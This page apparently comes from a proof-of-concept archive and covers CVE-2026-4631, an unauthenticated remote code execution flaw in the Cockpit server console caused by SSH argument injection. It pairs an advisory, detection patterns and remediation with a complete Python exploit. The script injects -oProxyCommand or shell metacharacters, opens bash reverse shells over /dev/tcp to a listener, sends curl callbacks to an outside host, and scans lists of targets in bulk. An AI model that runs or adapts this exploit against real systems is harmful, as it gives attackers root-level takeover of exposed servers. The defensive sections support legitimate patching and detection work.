PoC Archive PoC Archive
Critical CVE-2026-4631 (GHSA-m4gv-x78h-3427) patched

Cockpit Unauthenticated Remote Code Execution via SSH Argument Injection (CVE-2026-4631)

by cyberheartmi9 (analysis); reported by Jelle van der Waa · 2026-07-05

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-4631 (GHSA-m4gv-x78h-3427)
Category
web
Affected product
Cockpit (Linux web-based server admin console)
Affected versions
327 – 359 (fixed in 360)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / Researchercyberheartmi9 (analysis); reported by Jelle van der Waa
CVE / AdvisoryCVE-2026-4631 (GHSA-m4gv-x78h-3427)
Categoryweb
SeverityCritical
CVSS Score9.8
StatusPoC
Tagscockpit, ssh, command-injection, argument-injection, cwe-78, unauthenticated-rce, proxycommand
RelatedN/A

Affected Target

FieldValue
Software / SystemCockpit (Linux web-based server admin console)
Versions Affected327 – 359 (fixed in 360)
Language / PlatformPython 3 (attack script), target is C (cockpit-ws) + Python (cockpit.beiboot)
Authentication RequiredNo
Network Access RequiredYes (HTTP access to Cockpit’s port 9090)

Summary

Cockpit’s remote-login feature passes attacker-controlled hostnames (from the URL path) and usernames (from the Authorization: Basic header) directly to the OpenSSH ssh client without validation or a -- end-of-options separator. Because both values are used before credential verification completes, an unauthenticated attacker can craft a hostname beginning with -oProxyCommand=<cmd> to make ssh treat it as an option rather than a destination, or embed shell metacharacters in the username to exploit SSH’s %r token expansion in a Match exec directive — either path leads to arbitrary command execution as the cockpit-ws process user.


Vulnerability Details

Root Cause

Starting in Cockpit 327, the C cockpit-ssh binary was replaced by python3 -m cockpit.beiboot, which invokes the system ssh client. Neither cockpit-ws (src/ws/cockpitauth.c) nor cockpit.beiboot (src/cockpit/beiboot.py), nor the bundled ferny library, inserts a -- separator before the destination argument, so a hostname/username starting with - is parsed by ssh/Python argparse as an option instead of positional data (compounded by CPython argparse bug #66623).

Attack Vector

  1. Send GET /cockpit+=-oProxyCommand=<COMMAND>/login to the Cockpit web service on port 9090 with any Authorization: Basic value.
  2. cockpit-ws extracts -oProxyCommand=<COMMAND> from the URL path and passes it unsanitized as the “hostname” to cockpit.beiboot.
  3. beiboot.via_ssh() builds ssh -oProxyCommand=<COMMAND> <fake-host> with no -- separator, so SSH parses -oProxyCommand=<COMMAND> as a real option.
  4. SSH executes <COMMAND> as its ProxyCommand while attempting to resolve the bogus hostname — before any authentication succeeds.
  5. Alternatively, an attacker sets the Authorization: Basic username to a value like x; touch /tmp/pwned; #, which is expanded via SSH’s %r token in a target’s Match exec directive, executing the injected shell command.

Impact

Unauthenticated, pre-auth remote code execution as the user running cockpit-ws (typically root or a privileged service account), on any exposed Cockpit instance running versions 327–359.


Environment / Lab Setup

Target:   Cockpit 327-359 (cockpit-ws) exposed on TCP/9090, OpenSSH < 9.6 on the host
Attacker: python3 exploit.py --target http://<target>:9090/ --vector username|hostname --cmd "<command>"

Proof of Concept

PoC Script

See exploit.py in this folder.

1
2
3
python3 exploit.py --target http://localhost:9090/ --vector username --cmd "id > /tmp/id"
python3 exploit.py --file url.txt --vector username
python3 exploit.py --target http://localhost:9090/ --vector username --callback CALLBACK

Sends the crafted HTTP request(s) to the Cockpit login endpoint using either the hostname (ProxyCommand) or username (%r token) injection vector, supports scanning single/multiple targets, and can use an out-of-band callback for blind detection.


Detection & Indicators of Compromise

GET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login
journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"
journalctl _COMM=ssh | grep -v "^--$"

Signs of compromise:

  • HTTP requests to Cockpit’s /cockpit+=.../login endpoint where the path segment contains SSH option syntax (-o...=) or semicolons appear in the decoded Authorization: Basic value
  • Unexpected ssh/beiboot child processes spawned by cockpit-ws with anomalous arguments

Remediation

ActionDetail
Primary fixUpgrade to Cockpit 360+, which adds a -- end-of-options separator before hostnames/destinations in beiboot.py, cockpitauth.c, and the bundled ferny library
Interim mitigationSet LoginTo = false under [WebService] in /etc/cockpit/cockpit.conf to disable the remote-login feature entirely

References


Notes

Mirrored from https://github.com/cyberheartmi9/CVE-2026-4631-cockpit-RCE on 2026-07-05.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
import base64
import argparse
import requests
import urllib3
import urllib.parse
import sys

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

RED    = "\033[91m"
GREEN  = "\033[92m"
YELLOW = "\033[93m"
CYAN   = "\033[96m"
BOLD   = "\033[1m"
RESET  = "\033[0m"

def banner():
    print(f"""{CYAN}{BOLD}
╔══════════════════════════════════════════════════════════════╗
║         CVE-2026-4631  -  Cockpit SSH Argument Injection     ║
║         Unauthenticated Remote Code Execution                ║
╚══════════════════════════════════════════════════════════════╝


            @intx0x80


{RESET}""")

def info(msg):  print(f"{CYAN}[*]{RESET} {msg}")
def ok(msg):    print(f"{GREEN}[+]{RESET} {msg}")
def warn(msg):  print(f"{YELLOW}[!]{RESET} {msg}")
def err(msg):   print(f"{RED}[-]{RESET} {msg}")
def die(msg):   err(msg); sys.exit(1)

def make_auth_header(username="invalid", password="PWN"):
    creds = f"{username}:{password}"
    encoded = base64.b64encode(creds.encode()).decode()
    return f"Basic {encoded}"

def exploit_hostname(target, session, command):
    print(f"\n{YELLOW}[*] Attack vector: Hostname ProxyCommand injection{RESET}")
    encoded_cmd = urllib.parse.quote(command, safe="")
    url = f"{target}/cockpit+=-oProxyCommand={encoded_cmd}/login"

    print(f"[*] Request: GET {url}")

    headers = {
        "Authorization": make_auth_header(),
        "Referer": f"{target}/",
        "Origin": target,
    }

    try:
        r = session.get(url, headers=headers, timeout=10)
        print(f"[*] Response: {r.status_code}")

        if r.status_code in (200, 401, 403, 500):
            print("[+] Request delivered - SSH process spawned")
            print("[+] ProxyCommand executed (if OpenSSH < 9.6 on target)")

        snippet = r.text[:200].strip()
        if snippet:
            print(f"[*] Body snippet: {snippet}")

    except requests.exceptions.ConnectionError:
        print("[+] Connection reset - server may have crashed (command ran)")
    except Exception as e:
        print(f"[-] Error: {e}")

def exploit_username(target, session, command, ssh_host="127.0.0.1"):
    print(f"\n{YELLOW}[*] Attack vector Username %%r token injection{RESET}")
    print(f"[*] Command: {command}")

    payload_user = f"x; {command}; #"
    print(f"[*] Username payload: {payload_user}")

    headers = {
        "Authorization": make_auth_header(username=payload_user, password="invalid"),
        "Referer": f"{target}/",
        "Origin": target,
    }

    url = f"{target}/cockpit+={ssh_host}/login"

    try:
        r = session.get(url, headers=headers, timeout=10)
        tm = r.elapsed.total_seconds()
        # print(f"[+] Time {tm}")
        # print(f"[*] Response: {r.status_code}")
        if r.status_code in (200, 401, 403, 500):
            print("[+] Request delivered")
        else:
            print(f"[-] Unexpected status code: {r.status_code}")

    except requests.exceptions.ConnectionError:
        print("[+] Connection reset")
    except Exception as e:
        print(f"[-] Error: {e}")

def detect_time_based(target, session, command, ssh_host="127.0.0.1"):
    print(f"{GREEN}[+] Scanning target: {target}{RESET}")
    payload_user = f"x; {command}; #"

    headers = {
        "Authorization": make_auth_header(username=payload_user, password="invalid"),
        "Referer": f"{target}/",
        "Origin": target,
    }

    url = f"{target}/cockpit+={ssh_host}/login"

    try:
        r = session.get(url, headers=headers, timeout=10)
        tm = r.elapsed.total_seconds()
        
        if tm >= 5:
            print(f"{GREEN}[+] Vulnerable (Time-based): {target} (Duration: {tm:.2f}s){RESET}")
        else:
            print(f"[-] Not Vulnerable (Time-based): {target} (Duration: {tm:.2f}s)")
            
        if r.status_code in (200, 401, 403, 500):
            pass 

    except requests.exceptions.ConnectionError:
        print("[+] Connection reset")
    except Exception as e:
        print(f"[-] Error: {e}")

def main():
    parser = argparse.ArgumentParser(description="CVE-2026-4631")
    parser.add_argument("--target", required=False, help="Cockpit URL e.g. http://127.0.0.1:9090")
    parser.add_argument("--vector", choices=["hostname", "username"], help="Injection vector")
    parser.add_argument("--cmd", help="Command to execute")
    parser.add_argument("--callback", help="OOB callback URL (hostname vector or DNS lookup)")
    parser.add_argument("--lhost", help="Reverse shell listener IP")
    parser.add_argument("--lport", type=int, default=4444, help="Reverse shell port (default 4444)")
    parser.add_argument("--ssh-host", default="127.0.0.1", help="SSH host for username vector")
    parser.add_argument("--file", default="url.txt", help="File containing URLs to scan")

    args = parser.parse_args()

    if not args.target and not args.file:
        die("[-] Error: Either --target or --file is required.")

    if not args.vector:
        print("\n[*] Detection complete. Use --vector to exploit.")
        return

    session = requests.Session()
    session.verify = False

    if args.vector == "hostname":
        if args.lhost:
            cmd = f"bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1"
        elif args.callback:
            cmd = f"curl `hostname`.{args.callback}"
        elif args.cmd:
            cmd = args.cmd
        else:
            die("[-] Hostname vector needs --cmd, --callback, or --lhost")
        
        if args.target:
            target = args.target.rstrip("/")
            exploit_hostname(target, session, cmd)
        else:
            die("[-] Hostname vector requires --target")

    elif args.vector == "username":
        if args.target:
            target = args.target.rstrip("/")
            
            if args.callback:
                cmd = f"curl {args.callback}"
                exploit_username(target, session, cmd, args.ssh_host)
            
            elif args.cmd:
                exploit_username(target, session, args.cmd, args.ssh_host)
            
            elif args.lhost:
                cmd = f"bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1"
                exploit_username(target, session, cmd, args.ssh_host)
            
            else:
                print("[*] No command/callback provided. Running time-based detection...")
                detect_time_based(target, session, "sleep 5", args.ssh_host)

        elif args.file:
            try:
                with open(args.file, "r") as f:
                    urls = [line.strip() for line in f if line.strip()]
            except FileNotFoundError:
                die(f"[-] File not found: {args.file}")

            if args.callback:
                print(f"{GREEN}[+] Scanning {len(urls)} targets with callback: {args.callback}{RESET}")
                for target in urls:
                    linker = target.strip().split(":")[1].replace("//", "") if ":" in target else "unknown"
                    cmd = f"curl `hostname`.{linker}-{args.callback}"
                    exploit_username(target, session, cmd, args.ssh_host)
            
            else:
                print(f"{YELLOW}[+] Scanning {len(urls)} targets for time-based vulnerability...{RESET}")
                for target in urls:
                    detect_time_based(target, session, "sleep 5", args.ssh_host)

if __name__ == "__main__":
    banner()
    main()